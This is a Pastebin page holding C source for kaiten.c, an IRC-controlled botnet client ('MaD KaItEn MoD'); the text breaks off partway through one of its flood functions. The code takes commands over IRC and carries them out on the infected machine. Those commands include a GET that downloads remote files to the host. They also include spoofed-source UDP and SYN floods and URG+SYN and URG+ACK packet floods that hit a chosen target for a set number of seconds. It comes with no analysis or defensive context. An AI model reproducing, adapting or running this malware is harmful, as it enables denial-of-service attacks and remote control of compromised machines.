vap0r

kaiten.c

Mar 8th, 2015
443
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 85.43 KB | None | 0 0
  1. #undef STARTUP
  2. #undef IDENT
  3. #define FAKENAME "fakename"
  4. #define CHAN "#chan"
  5. #define KEY "key"
  6. int numservers=1;
  7. char *servers[] = {
  8.     "server.org",
  9.     (void*)0
  10. };
  11.  
  12. #include <stdarg.h>
  13. #include <errno.h>
  14. #include <stdio.h>
  15. #include <stdlib.h>
  16. #include <string.h>
  17. #include <sys/types.h>
  18. #include <sys/stat.h>
  19. #include <fcntl.h>
  20. #include <strings.h>
  21. #include <netinet/in.h>
  22. #include <unistd.h>
  23. #include <sys/time.h>
  24. #include <sys/socket.h>
  25. #include <signal.h>
  26. #include <arpa/inet.h>
  27. #include <netdb.h>
  28. #include <time.h>
  29. #include <sys/wait.h>
  30. #include <sys/ioctl.h>
  31.  
  32. int sock,changeservers=0;
  33.     char *server, *chan, *key, *nick, *ident, *user, disabled=0, execfile[256],dispass[256];
  34.     unsigned int *pids;
  35.     unsigned long spoofs=0, spoofsm=0, numpids=0;
  36. int strwildmatch(const char* pattern, const char* string) {
  37.     switch(*pattern) {
  38.         case '\0': return *string;
  39.         case '*': return !(!strwildmatch(pattern+1, string) || *string && !strwildmatch(pattern, string+1));
  40.         case '?': return !(*string && !strwildmatch(pattern+1, string+1));
  41.         default: return !((toupper(*pattern) == toupper(*string)) && !strwildmatch(pattern+1, string+1));
  42.     }
  43. }
  44. int Send(int sock, char *words, ...) {
  45.         static char textBuffer[1024];
  46.         va_list args;
  47.         va_start(args, words);
  48.         vsprintf(textBuffer, words, args);
  49.         va_end(args);
  50.         return write(sock,textBuffer,strlen(textBuffer));
  51. }
  52. int mfork(char *sender) {
  53.     unsigned int parent, *newpids, i;
  54.     if (disabled == 1) {
  55.         Send(sock,"NOTICE %s :Unable to comply.\n",sender);
  56.         return 1;
  57.     }
  58.     parent=fork();
  59.     if (parent <= 0) return parent;
  60.     numpids++;
  61.     newpids=(unsigned int*)malloc((numpids+1)*sizeof(unsigned int));
  62.     for (i=0;i<numpids-1;i++) newpids[i]=pids[i];
  63.     newpids[numpids-1]=parent;
  64.     free(pids);
  65.     pids=newpids;
  66.     return parent;
  67. }
  68. unsigned long getspoof() {
  69.     if (!spoofs) return rand();
  70.     if (spoofsm == 1) return ntohl(spoofs);
  71.     return ntohl(spoofs+(rand() % spoofsm)+1);
  72. }
  73. void filter(char *a) { while(a[strlen(a)-1] == '\r' || a[strlen(a)-1] == '\n') a[strlen(a)-1]=0; }
  74. char *makestring() {
  75.     char *tmp;
  76.     int len=(rand()%5)+4,i;
  77.     FILE *file;
  78.     tmp=(char*)malloc(len+1);
  79.     memset(tmp,0,len+1);
  80.     if ((file=fopen("/usr/dict/words","r")) == NULL) for (i=0;i<len;i++) tmp[i]=(rand()%(91-65))+65;
  81.     else {
  82.         int a=((rand()*rand())%45402)+1;
  83.         char buf[1024];
  84.         for (i=0;i<a;i++) fgets(buf,1024,file);
  85.         memset(buf,0,1024);
  86.         fgets(buf,1024,file);
  87.         filter(buf);
  88.         memcpy(tmp,buf,len);
  89.         fclose(file);
  90.     }
  91.     return tmp;
  92. }
  93. void identd() {
  94.         int sockname,sockfd,sin_size,tmpsock,i;
  95.         struct sockaddr_in my_addr,their_addr;
  96.         char szBuffer[1024];
  97.         if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1) return;
  98.         my_addr.sin_family = AF_INET;
  99.         my_addr.sin_port = htons(113);
  100.         my_addr.sin_addr.s_addr = INADDR_ANY;
  101.         memset(&(my_addr.sin_zero), 0, 8);
  102.         if (bind(sockfd, (struct sockaddr *)&my_addr, sizeof(struct sockaddr)) == -1) return;
  103.         if (listen(sockfd, 1) == -1) return;
  104.         if (fork() == 0) return;
  105.         sin_size = sizeof(struct sockaddr_in);
  106.         if ((tmpsock = accept(sockfd, (struct sockaddr *)&their_addr, &sin_size)) == -1) exit(0);
  107.         for(;;) {
  108.                 fd_set bla;
  109.                 struct timeval timee;
  110.                 FD_ZERO(&bla);
  111.                 FD_SET(tmpsock,&bla);
  112.                 timee.tv_sec=timee.tv_usec=60;
  113.                 if (select(tmpsock + 1,&bla,(fd_set*)0,(fd_set*)0,&timee) < 0) exit(0);
  114.                 if (FD_ISSET(tmpsock,&bla)) break;
  115.         }
  116.         i = recv(tmpsock,szBuffer,1024,0);
  117.         if (i <= 0 || i >= 20) exit(0);
  118.         szBuffer[i]=0;
  119.         if (szBuffer[i-1] == '\n' || szBuffer[i-1] == '\r') szBuffer[i-1]=0;
  120.         if (szBuffer[i-2] == '\n' || szBuffer[i-2] == '\r') szBuffer[i-2]=0;
  121.     Send(tmpsock,"%s : USERID : UNIX : %s\n",szBuffer,ident);
  122.         close(tmpsock);
  123.         close(sockfd);
  124.         exit(0);
  125. }
  126. long pow(long a, long b) {
  127.         if (b == 0) return 1;
  128.         if (b == 1) return a;
  129.         return a*pow(a,b-1);
  130. }
  131. u_short in_cksum(u_short *addr, int len) {
  132.         register int nleft = len;
  133.         register u_short *w = addr;
  134.         register int sum = 0;
  135.         u_short answer =0;
  136.         while (nleft > 1) {
  137.                 sum += *w++;
  138.                 nleft -= 2;
  139.         }
  140.         if (nleft == 1) {
  141.                 *(u_char *)(&answer) = *(u_char *)w;
  142.                 sum += answer;
  143.         }
  144.         sum = (sum >> 16) + (sum & 0xffff);
  145.         sum += (sum >> 16);
  146.         answer = ~sum;
  147.         return(answer);
  148. }
  149. void get(int sock, char *sender, int argc, char **argv) {
  150.         int sock2,i,d;
  151.         struct sockaddr_in server;
  152.         unsigned long ipaddr;
  153.         char buf[1024];
  154.         FILE *file;
  155.         unsigned char bufm[4096];
  156.         if (mfork(sender) != 0) return;
  157.         if (argc < 2) {
  158.                 Send(sock,"NOTICE %s :GET <host> <save as>\n",sender);
  159.                 exit(0);
  160.         }
  161.         if ((sock2 = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
  162.                 Send(sock,"NOTICE %s :Unable to create socket.\n",sender);
  163.                 exit(0);
  164.         }
  165.         if (!strncmp(argv[1],"http://",7)) strcpy(buf,argv[1]+7);
  166.         else strcpy(buf,argv[1]);
  167.         for (i=0;i<strlen(buf) && buf[i] != '/';i++);
  168.         buf[i]=0;
  169.         server.sin_family = AF_INET;
  170.         server.sin_port = htons(80);
  171.         if ((ipaddr = inet_addr(buf)) == -1) {
  172.                 struct hostent *hostm;
  173.                 if ((hostm=gethostbyname(buf)) == NULL) {
  174.                         Send(sock,"NOTICE %s :Unable to resolve address.\n",sender);
  175.                         exit(0);
  176.                 }
  177.                 memcpy((char*)&server.sin_addr, hostm->h_addr, hostm->h_length);
  178.         }
  179.         else server.sin_addr.s_addr = ipaddr;
  180.         memset(&(server.sin_zero), 0, 8);
  181.         if (connect(sock2,(struct sockaddr *)&server, sizeof(server)) != 0) {
  182.                 Send(sock,"NOTICE %s :Unable to connect to http.\n",sender);
  183.                 exit(0);
  184.         }
  185.  
  186.         Send(sock2,"GET /%s HTTP/1.0\r\nConnection: Keep-Alive\r\nUser-Agent: Mozilla/4.75 [en] (X11; U; Linux 2.2.16-3 i686)\r\nHost: %s:80\r\nAccept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*\r\nAccept-Encoding: gzip\r\nAccept-Language: en\r\nAccept-Charset: iso-8859-1,*,utf-8\r\n\r\n",buf+i+1,buf);
  187.         Send(sock,"NOTICE %s :Receiving file.\n",sender);
  188.         file=fopen(argv[2],"wb");
  189.         while(1) {
  190.                 int i;
  191.                 if ((i=recv(sock2,bufm,4096,0)) <= 0) break;
  192.                 if (i < 4096) bufm[i]=0;
  193.                 for (d=0;d<i;d++) if (!strncmp(bufm+d,"\r\n\r\n",4)) {
  194.                         for (d+=4;d<i;d++) fputc(bufm[d],file);
  195.                         goto done;
  196.                 }
  197.         }
  198.         done:
  199.         Send(sock,"NOTICE %s :Saved as %s\n",sender,argv[2]);
  200.         while(1) {
  201.                 int i,d;
  202.                 if ((i=recv(sock2,bufm,4096,0)) <= 0) break;
  203.                 if (i < 4096) bufm[i]=0;
  204.                 for (d=0;d<i;d++) fputc(bufm[d],file);
  205.         }
  206.         fclose(file);
  207.         close(sock2);
  208.         exit(0);
  209. }
  210. void getspoofs(int sock, char *sender, int argc, char **argv) {
  211.         unsigned long a=spoofs,b=spoofs+(spoofsm-1);
  212.         if (spoofsm == 1) Send(sock,"NOTICE %s :Spoofs: %d.%d.%d.%d\n",sender,((u_char*)&a)[3],((u_char*)&a)[2],((u_char*)&a)[1],((u_char*)&a)[0]);
  213.         else Send(sock,"NOTICE %s :Spoofs: %d.%d.%d.%d - %d.%d.%d.%d\n",sender,((u_char*)&a)[3],((u_char*)&a)[2],((u_char*)&a)[1],((u_char*)&a)[0],((u_char*)&b)[3],((u_char*)&b)[2],((u_char*)&b)[1],((u_char*)&b)[0]);
  214. }
  215. void version(int sock, char *sender, int argc, char **argv) {
  216.         Send(sock,"NOTICE %s :MaD KaItEn MoD.\n",sender);
  217. }
  218. void nickc(int sock, char *sender, int argc, char **argv) {
  219.         if (argc != 1) {
  220.                 Send(sock,"NOTICE %s :NICK <nick>\n",sender);
  221.                 return;
  222.         }
  223.         if (strlen(argv[1]) >= 10) {
  224.                 Send(sock,"NOTICE %s :Nick cannot be larger than 9 characters.\n",sender);
  225.                 return;
  226.         }
  227.         Send(sock,"NICK %s\n",argv[1]);
  228. }
  229. void disable(int sock, char *sender, int argc, char **argv) {
  230.         if (argc != 1) {
  231.                 Send(sock,"NOTICE %s :DISABLE <pass>\n",sender);
  232.                 Send(sock,"NOTICE %s :Current status is: %s.\n",sender,disabled?"Disabled":"Enabled and awaiting orders");
  233.                 return;
  234.         }
  235.     if (disabled) {
  236.         Send(sock,"NOTICE %s :Already disabled.\n",sender);
  237.         return;
  238.     }
  239.     if (strlen(argv[1]) > 254) {
  240.                 Send(sock,"NOTICE %s :Password too long! > 254\n",sender);
  241.                 return;
  242.     }
  243.         disabled=1;
  244.     memset(dispass,0,256);
  245.     strcpy(dispass,argv[1]);
  246.     Send(sock,"NOTICE %s :Disable sucessful.\n");
  247. }
  248. void enable(int sock, char *sender, int argc, char **argv) {
  249.         if (argc != 1) {
  250.                 Send(sock,"NOTICE %s :ENABLE <pass>\n",sender);
  251.                 Send(sock,"NOTICE %s :Current status is: %s.\n",sender,disabled?"Disabled":"Enabled and awaiting orders");
  252.                 return;
  253.         }
  254.     if (!disabled) {
  255.         Send(sock,"NOTICE %s :Already enabled.\n",sender);
  256.         return;
  257.     }
  258.     if (strcasecmp(dispass,argv[1])) {
  259.         Send(sock,"NOTICE %s :Wrong password\n",sender);
  260.         return;
  261.     }
  262.         disabled=0;
  263.     Send(sock,"NOTICE %s :Password correct.\n",sender);
  264. }
  265. void spoof(int sock, char *sender, int argc, char **argv) {
  266.         char ip[256];
  267.         int i, num;
  268.         unsigned long uip;
  269.         if (argc != 1) {
  270.                 Send(sock,"NOTICE %s :Removed all spoofs\n",sender);
  271.                 spoofs=0;
  272.                 spoofsm=0;
  273.                 return;
  274.         }
  275.         if (strlen(argv[1]) > 16) {
  276.                 Send(sock,"NOTICE %s :What kind of subnet address is that? Do something like: 169.40\n",sender);
  277.                 return;
  278.         }
  279.         strcpy(ip,argv[1]);
  280.         if (ip[strlen(ip)-1] == '.') ip[strlen(ip)-1] = 0;
  281.         for (i=0, num=1;i<strlen(ip);i++) if (ip[i] == '.') num++;
  282.         num=-(num-4);
  283.         for (i=0;i<num;i++) strcat(ip,".0");
  284.         uip=inet_network(ip);
  285.         if (num == 0) spoofsm=1;
  286.         else spoofsm=pow(256,num);
  287.         spoofs=uip;
  288. }
  289. struct iphdr {
  290.         unsigned int ihl:4, version:4;
  291.         unsigned char tos;
  292.         unsigned short tot_len;
  293.         unsigned short id;
  294.         unsigned short frag_off;
  295.         unsigned char ttl;
  296.         unsigned char protocol;
  297.         unsigned short check;
  298.         unsigned long saddr;
  299.         unsigned long daddr;
  300. };
  301. struct udphdr {
  302.         unsigned short source;
  303.         unsigned short dest;
  304.         unsigned short len;
  305.         unsigned short check;
  306. };
  307. struct tcphdr {
  308.         unsigned short source;
  309.         unsigned short dest;
  310.         unsigned long seq;
  311.         unsigned long ack_seq;
  312.         unsigned short res1:4, doff:4;
  313.     unsigned char fin:1, syn:1, rst:1, psh:1, ack:1, urg:1, ece:1, cwr:1;
  314.         unsigned short window;
  315.         unsigned short check;
  316.         unsigned short urg_ptr;
  317. };
  318. struct send_tcp {
  319.     struct iphdr ip;
  320.     struct tcphdr tcp;
  321.     char buf[20];
  322. };
  323. struct pseudo_header {
  324.     unsigned int source_address;
  325.     unsigned int dest_address;
  326.     unsigned char placeholder;
  327.     unsigned char protocol;
  328.     unsigned short tcp_length;
  329.     struct tcphdr tcp;
  330.     char buf[20];
  331. };
  332. unsigned int host2ip(char *sender,char *hostname) {
  333.         static struct in_addr i;
  334.         struct hostent *h;
  335.         if((i.s_addr = inet_addr(hostname)) == -1) {
  336.                 if((h = gethostbyname(hostname)) == NULL) {
  337.                         Send(sock, "NOTICE %s :Unable to resolve %s\n", sender,hostname);
  338.                         exit(0);
  339.                 }
  340.                 bcopy(h->h_addr, (char *)&i.s_addr, h->h_length);
  341.         }
  342.         return i.s_addr;
  343. }
  344. void udp(int sock, char *sender, int argc, char **argv) {
  345.         unsigned int port,i=0;
  346.         unsigned long psize,target,secs;
  347.         struct sockaddr_in s_in;
  348.         struct iphdr *ip;
  349.     struct udphdr *udp;
  350.     char buf[1500],*str;
  351.         int get;
  352.         time_t start=time(NULL);
  353.         if (mfork(sender) != 0) return;
  354.         if ((get = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) exit(1);
  355.         if (argc < 3) {
  356.                 Send(sock,"NOTICE %s :UDP <target> <port> <secs>\n",sender);
  357.                 exit(1);
  358.         }
  359.         target = host2ip(sender,argv[1]);
  360.         port = atoi(argv[2]);
  361.         secs = atol(argv[3]);
  362.         ip=(void*)buf;
  363.     udp=(void*)(buf+sizeof(struct iphdr));
  364.         str=(void*)(buf+sizeof(struct iphdr)+sizeof(struct udphdr));
  365.         memset(str,10,1500-(sizeof(struct iphdr)+sizeof(struct udphdr)));
  366.         Send(sock,"NOTICE %s :Packeting %s.\n",sender,argv[1]);
  367.         ip->ihl = 5;
  368.         ip->version = 4;
  369.         ip->tos = 0;
  370.         ip->tot_len = 1500;
  371.         ip->frag_off = 0;
  372.         ip->protocol = 17;
  373.         ip->ttl = 64;
  374.         ip->daddr = target;
  375.         udp->len = htons(psize);
  376.         s_in.sin_family  = AF_INET;
  377.         s_in.sin_addr.s_addr = target;
  378.         for (;;) {
  379.                 udp->source = rand();
  380.                 if (port) udp->dest = htons(port);
  381.                 else udp->dest = rand();
  382.                 udp->check = in_cksum((u_short *)buf,1500);
  383.                 ip->saddr = getspoof();
  384.                 ip->id = rand();
  385.                 ip->check = in_cksum((u_short *)buf,1500);
  386.                 s_in.sin_port = udp->dest;
  387.                 sendto(get,buf,1500,0,(struct sockaddr *)&s_in,sizeof(s_in));
  388.                 if (i >= 50) {
  389.                         if (time(NULL) >= start+secs) exit(0);
  390.                         i=0;
  391.                 }
  392.                 i++;
  393.         }
  394. }
  395. void syn(int sock, char *sender, int argc, char **argv) {
  396.         struct send_tcp send_tcp;
  397.         struct pseudo_header pseudo_header;
  398.         struct sockaddr_in sin;
  399.         unsigned int syn[20] = { 2,4,5,180,4,2,8,10,0,0,0,0,0,0,0,0,1,3,3,0 }, a=0;
  400.         unsigned int psize=20, source, dest, check;
  401.         unsigned long saddr, daddr,secs;
  402.         int get;
  403.         time_t start=time(NULL);
  404.         if (mfork(sender) != 0) return;
  405.         if (argc < 3) {
  406.                 Send(sock,"NOTICE %s :SYN <target> <port> <secs>\n",sender);
  407.                 exit(1);
  408.         }
  409.         if ((get = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) exit(1);
  410.         {int i; for(i=0;i<20;i++) send_tcp.buf[i]=(u_char)syn[i];}
  411.         daddr=host2ip(sender,argv[1]);
  412.         secs=atol(argv[3]);
  413.         Send(sock,"NOTICE %s :Synning %s.\n",sender,argv[1]);
  414.         send_tcp.ip.ihl = 5;
  415.         send_tcp.ip.version = 4;
  416.         send_tcp.ip.tos = 16;
  417.         send_tcp.ip.frag_off = 64;
  418.         send_tcp.ip.ttl = 64;
  419.         send_tcp.ip.protocol = 6;
  420.         send_tcp.tcp.ack_seq = 0;
  421.         send_tcp.tcp.doff = 10;
  422.         send_tcp.tcp.res1 = 0;
  423.         send_tcp.tcp.cwr = 0;
  424.         send_tcp.tcp.ece = 0;
  425.         send_tcp.tcp.urg = 0;
  426.         send_tcp.tcp.ack = 0;
  427.         send_tcp.tcp.psh = 0;
  428.         send_tcp.tcp.rst = 0;
  429.         send_tcp.tcp.fin = 0;
  430.         send_tcp.tcp.syn = 1;
  431.         send_tcp.tcp.window = 65534;
  432.         send_tcp.tcp.urg_ptr = 0;
  433.         dest=htons(atoi(argv[2]));
  434.         while(1) {
  435.                 source=rand();
  436.                 if (atoi(argv[2]) == 0) dest=rand();
  437.                 saddr=getspoof();
  438.                 send_tcp.ip.tot_len = htons(40+psize);
  439.                 send_tcp.ip.id = rand();
  440.                 send_tcp.ip.saddr = saddr;
  441.                 send_tcp.ip.daddr = daddr;
  442.                 send_tcp.ip.check = 0;
  443.                 send_tcp.tcp.source = source;
  444.                 send_tcp.tcp.dest = dest;
  445.                 send_tcp.tcp.seq = rand();
  446.                 send_tcp.tcp.check = 0;
  447.                 sin.sin_family = AF_INET;
  448.                 sin.sin_port = dest;
  449.                 sin.sin_addr.s_addr = send_tcp.ip.daddr;
  450.                 send_tcp.ip.check = in_cksum((unsigned short *)&send_tcp.ip, 20);
  451.                 check = rand();
  452.                 send_tcp.buf[9]=((char*)&check)[0];
  453.                 send_tcp.buf[10]=((char*)&check)[1];
  454.                 send_tcp.buf[11]=((char*)&check)[2];
  455.                 send_tcp.buf[12]=((char*)&check)[3];
  456.                 pseudo_header.source_address = send_tcp.ip.saddr;
  457.                 pseudo_header.dest_address = send_tcp.ip.daddr;
  458.                 pseudo_header.placeholder = 0;
  459.                 pseudo_header.protocol = IPPROTO_TCP;
  460.                 pseudo_header.tcp_length = htons(20+psize);
  461.                 bcopy((char *)&send_tcp.tcp, (char *)&pseudo_header.tcp, 20);
  462.                 bcopy((char *)&send_tcp.buf, (char *)&pseudo_header.buf, psize);
  463.                 send_tcp.tcp.check = in_cksum((unsigned short *)&pseudo_header, 32+psize);
  464.                 sendto(get, &send_tcp, 40+psize, 0, (struct sockaddr *)&sin, sizeof(sin));
  465.                 if (a >= 50) {
  466.                         if (time(NULL) >= start+secs) exit(0);
  467.                         a=0;
  468.                 }
  469.                 a++;
  470.         }
  471.         close(get);
  472.         exit(0);
  473. }
  474.  
  475. void nssyn(int sock, char *sender, int argc, char **argv) {
  476.         struct send_tcp send_tcp;
  477.         struct pseudo_header pseudo_header;
  478.         struct sockaddr_in sin;
  479.         unsigned int syn[20] = { 2,4,5,180,4,2,8,10,0,0,0,0,0,0,0,0,1,3,3,0 }, a=0;
  480.         unsigned int psize=20, source, dest, check;
  481.         unsigned long saddr, daddr,secs;
  482.         int get;
  483.         time_t start=time(NULL);
  484.         if (mfork(sender) != 0) return;
  485.         if (argc < 3) {
  486.                 Send(sock,"NOTICE %s :NSSYN <target> <port> <secs>\n",sender);
  487.                 exit(1);
  488.         }
  489.         if ((get = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) exit(1);
  490.         {int i; for(i=0;i<20;i++) send_tcp.buf[i]=(u_char)syn[i];}
  491.         daddr=host2ip(sender,argv[1]);
  492.         secs=atol(argv[3]);
  493.         Send(sock,"NOTICE %s :Synning %s.\n",sender,argv[1]);
  494.         send_tcp.ip.ihl = 5;
  495.         send_tcp.ip.version = 4;
  496.         send_tcp.ip.tos = 16;
  497.         send_tcp.ip.frag_off = 64;
  498.         send_tcp.ip.ttl = 64;
  499.         send_tcp.ip.protocol = 6;
  500.         send_tcp.tcp.ack_seq = 0;
  501.         send_tcp.tcp.doff = 10;
  502.         send_tcp.tcp.res1 = 0;
  503.         send_tcp.tcp.cwr = 0;
  504.         send_tcp.tcp.ece = 0;
  505.         send_tcp.tcp.urg = 0;
  506.         send_tcp.tcp.ack = 0;
  507.         send_tcp.tcp.psh = 0;
  508.         send_tcp.tcp.rst = 0;
  509.         send_tcp.tcp.fin = 0;
  510.         send_tcp.tcp.syn = 1;
  511.         send_tcp.tcp.window = 65534;
  512.         send_tcp.tcp.urg_ptr = 0;
  513.         dest=htons(atoi(argv[2]));
  514.         while(1) {
  515.                 source=rand();
  516.                 if (atoi(argv[2]) == 0) dest=rand();
  517.                 saddr=INADDR_ANY;
  518.                 send_tcp.ip.tot_len = htons(40+psize);
  519.                 send_tcp.ip.id = rand();
  520.                 send_tcp.ip.saddr = saddr;
  521.                 send_tcp.ip.daddr = daddr;
  522.                 send_tcp.ip.check = 0;
  523.                 send_tcp.tcp.source = source;
  524.                 send_tcp.tcp.dest = dest;
  525.                 send_tcp.tcp.seq = rand();
  526.                 send_tcp.tcp.check = 0;
  527.                 sin.sin_family = AF_INET;
  528.                 sin.sin_port = dest;
  529.                 sin.sin_addr.s_addr = send_tcp.ip.daddr;
  530.                 send_tcp.ip.check = in_cksum((unsigned short *)&send_tcp.ip, 20);
  531.                 check = rand();
  532.                 send_tcp.buf[9]=((char*)&check)[0];
  533.                 send_tcp.buf[10]=((char*)&check)[1];
  534.                 send_tcp.buf[11]=((char*)&check)[2];
  535.                 send_tcp.buf[12]=((char*)&check)[3];
  536.                 pseudo_header.source_address = send_tcp.ip.saddr;
  537.                 pseudo_header.dest_address = send_tcp.ip.daddr;
  538.                 pseudo_header.placeholder = 0;
  539.                 pseudo_header.protocol = IPPROTO_TCP;
  540.                 pseudo_header.tcp_length = htons(20+psize);
  541.                 bcopy((char *)&send_tcp.tcp, (char *)&pseudo_header.tcp, 20);
  542.                 bcopy((char *)&send_tcp.buf, (char *)&pseudo_header.buf, psize);
  543.                 send_tcp.tcp.check = in_cksum((unsigned short *)&pseudo_header, 32+psize);
  544.                 sendto(get, &send_tcp, 40+psize, 0, (struct sockaddr *)&sin, sizeof(sin));
  545.                 if (a >= 50) {
  546.                         if (time(NULL) >= start+secs) exit(0);
  547.                         a=0;
  548.                 }
  549.                 a++;
  550.         }
  551.         close(get);
  552.         exit(0);
  553. }
  554. void mix5(int sock, char *sender, int argc, char **argv) {
  555.         struct send_tcp send_tcp;
  556.         struct pseudo_header pseudo_header;
  557.         struct sockaddr_in sin;
  558.         unsigned int syn[20] = { 2,4,5,180,4,2,8,10,0,0,0,0,0,0,0,0,1,3,3,0 }, a=0;
  559.         unsigned int psize=20, source, dest, check;
  560.         unsigned long saddr, daddr,secs;
  561.         int get;
  562.         time_t start=time(NULL);
  563.         if (mfork(sender) != 0) return;
  564.         if (argc < 3) {
  565.                 Send(sock,"NOTICE %s :MIX <target> <port> <secs>\n",sender);
  566.                 exit(1);
  567.         }
  568.         if ((get = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) exit(1);
  569.         {int i; for(i=0;i<20;i++) send_tcp.buf[i]=(u_char)syn[i];}
  570.         daddr=host2ip(sender,argv[1]);
  571.         secs=atol(argv[3]);
  572.         dest=htons(atoi(argv[2]));
  573.         Send(sock,"NOTICE %s :Packeting %s with URG+SYN.\n",sender,argv[1]);
  574.         send_tcp.ip.ihl = 5;
  575.         send_tcp.ip.version = 4;
  576.         send_tcp.ip.tos = 16;
  577.         send_tcp.ip.frag_off = 64;
  578.         send_tcp.ip.ttl = 255;
  579.         send_tcp.ip.protocol = 6;
  580.         send_tcp.tcp.doff = 5;
  581.         send_tcp.tcp.res1 = 0;
  582.         send_tcp.tcp.cwr = 0;
  583.         send_tcp.tcp.ece = 0;
  584.         send_tcp.tcp.urg = 1;
  585.         send_tcp.tcp.ack = 0;
  586.         send_tcp.tcp.psh = 0;
  587.         send_tcp.tcp.rst = 0;
  588.         send_tcp.tcp.fin = 0;
  589.         send_tcp.tcp.syn = 1;
  590.         send_tcp.tcp.window = 65535;
  591.         send_tcp.tcp.urg_ptr = 0;
  592.         while(1) {
  593.                 saddr=getspoof();
  594.                 if (atoi(argv[2]) == 0) dest=rand();
  595.                 send_tcp.ip.tot_len = htons(40+psize);
  596.                 send_tcp.ip.id = rand();
  597.                 send_tcp.ip.check = 0;
  598.                 send_tcp.ip.saddr = saddr;
  599.                 send_tcp.ip.daddr = daddr;
  600.                 send_tcp.tcp.source = rand();
  601.                 send_tcp.tcp.dest = dest;
  602.                 send_tcp.tcp.seq = rand();
  603.                 send_tcp.tcp.ack_seq = rand();
  604.                 send_tcp.tcp.check = 0;
  605.                 sin.sin_family = AF_INET;
  606.                 sin.sin_port = send_tcp.tcp.dest;
  607.                 sin.sin_addr.s_addr = send_tcp.ip.daddr;
  608.                 send_tcp.ip.check = in_cksum((unsigned short *)&send_tcp.ip, 20);
  609.                 check = in_cksum((unsigned short *)&send_tcp, 40);
  610.                 pseudo_header.source_address = send_tcp.ip.saddr;
  611.                 pseudo_header.dest_address = send_tcp.ip.daddr;
  612.                 pseudo_header.placeholder = 0;
  613.                 pseudo_header.protocol = IPPROTO_TCP;
  614.                 pseudo_header.tcp_length = htons(20+psize);
  615.                 bcopy((char *)&send_tcp.tcp, (char *)&pseudo_header.tcp, 20);
  616.                 bcopy((char *)&send_tcp.buf, (char *)&pseudo_header.buf, psize);
  617.                 send_tcp.tcp.check = in_cksum((unsigned short *)&pseudo_header, 32+psize);
  618.                 sendto(get, &send_tcp, 40+psize, 0, (struct sockaddr *)&sin, sizeof(sin));
  619.                 if (a >= 50) {
  620.                         if (time(NULL) >= start+secs) exit(0);
  621.                         a=0;
  622.                 }
  623.                 a++;
  624.         }
  625.         close(get);
  626.         exit(0);
  627. }
  628. void mix4(int sock, char *sender, int argc, char **argv) {
  629.         struct send_tcp send_tcp;
  630.         struct pseudo_header pseudo_header;
  631.         struct sockaddr_in sin;
  632.         unsigned int syn[20] = { 2,4,5,180,4,2,8,10,0,0,0,0,0,0,0,0,1,3,3,0 }, a=0;
  633.         unsigned int psize=20, source, dest, check;
  634.         unsigned long saddr, daddr,secs;
  635.         int get;
  636.         time_t start=time(NULL);
  637.         if (mfork(sender) != 0) return;
  638.         if (argc < 3) {
  639.                 Send(sock,"NOTICE %s :MIX <target> <port> <secs>\n",sender);
  640.                 exit(1);
  641.         }
  642.         if ((get = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) exit(1);
  643.         {int i; for(i=0;i<20;i++) send_tcp.buf[i]=(u_char)syn[i];}
  644.         daddr=host2ip(sender,argv[1]);
  645.         secs=atol(argv[3]);
  646.         dest=htons(atoi(argv[2]));
  647.         Send(sock,"NOTICE %s :Packeting %s with URG+ACK.\n",sender,argv[1]);
  648.         send_tcp.ip.ihl = 5;
  649.         send_tcp.ip.version = 4;
  650.         send_tcp.ip.tos = 16;
  651.         send_tcp.ip.frag_off = 64;
  652.         send_tcp.ip.ttl = 255;
  653.         send_tcp.ip.protocol = 6;
  654.         send_tcp.tcp.doff = 5;
  655.         send_tcp.tcp.res1 = 0;
  656.         send_tcp.tcp.cwr = 0;
  657.         send_tcp.tcp.ece = 0;
  658.         send_tcp.tcp.urg = 1;
  659.         send_tcp.tcp.ack = 1;
  660.         send_tcp.tcp.psh = 0;
  661.         send_tcp.tcp.rst = 0;
  662.         send_tcp.tcp.fin = 0;
  663.         send_tcp.tcp.syn = 0;
  664.         send_tcp.tcp.window = 65534;
  665.         send_tcp.tcp.urg_ptr = 0;
  666.         while(1) {
  667.                 saddr=getspoof();
  668.                 if (atoi(argv[2]) == 0) dest=rand();
  669.                 send_tcp.ip.tot_len = htons(40+psize);
  670.                 send_tcp.ip.id = rand();
  671.                 send_tcp.ip.check = 0;
  672.                 send_tcp.ip.saddr = saddr;
  673.                 send_tcp.ip.daddr = daddr;
  674.                 send_tcp.tcp.source = rand();
  675.                 send_tcp.tcp.dest = dest;
  676.                 send_tcp.tcp.seq = rand();
  677.                 send_tcp.tcp.ack_seq = rand();
  678.                 send_tcp.tcp.check = 0;
  679.                 sin.sin_family = AF_INET;
  680.                 sin.sin_port = send_tcp.tcp.dest;
  681.                 sin.sin_addr.s_addr = send_tcp.ip.daddr;
  682.                 send_tcp.ip.check = in_cksum((unsigned short *)&send_tcp.ip, 20);
  683.                 check = in_cksum((unsigned short *)&send_tcp, 40);
  684.                 pseudo_header.source_address = send_tcp.ip.saddr;
  685.                 pseudo_header.dest_address = send_tcp.ip.daddr;
  686.                 pseudo_header.placeholder = 0;
  687.                 pseudo_header.protocol = IPPROTO_TCP;
  688.                 pseudo_header.tcp_length = htons(20+psize);
  689.                 bcopy((char *)&send_tcp.tcp, (char *)&pseudo_header.tcp, 20);
  690.                 bcopy((char *)&send_tcp.buf, (char *)&pseudo_header.buf, psize);
  691.                 send_tcp.tcp.check = in_cksum((unsigned short *)&pseudo_header, 32+psize);
  692.                 sendto(get, &send_tcp, 40+psize, 0, (struct sockaddr *)&sin, sizeof(sin));
  693.                 if (a >= 50) {
  694.                         if (time(NULL) >= start+secs) exit(0);
  695.                         a=0;
  696.                 }
  697.                 a++;
  698.         }
  699.         close(get);
  700.         exit(0);
  701. }
  702. void mix3(int sock, char *sender, int argc, char **argv) {
  703.         struct send_tcp send_tcp;
  704.         struct pseudo_header pseudo_header;
  705.         struct sockaddr_in sin;
  706.         unsigned int syn[20] = { 2,4,5,180,4,2,8,10,0,0,0,0,0,0,0,0,1,3,3,0 }, a=0;
  707.         unsigned int psize=20, source, dest, check;
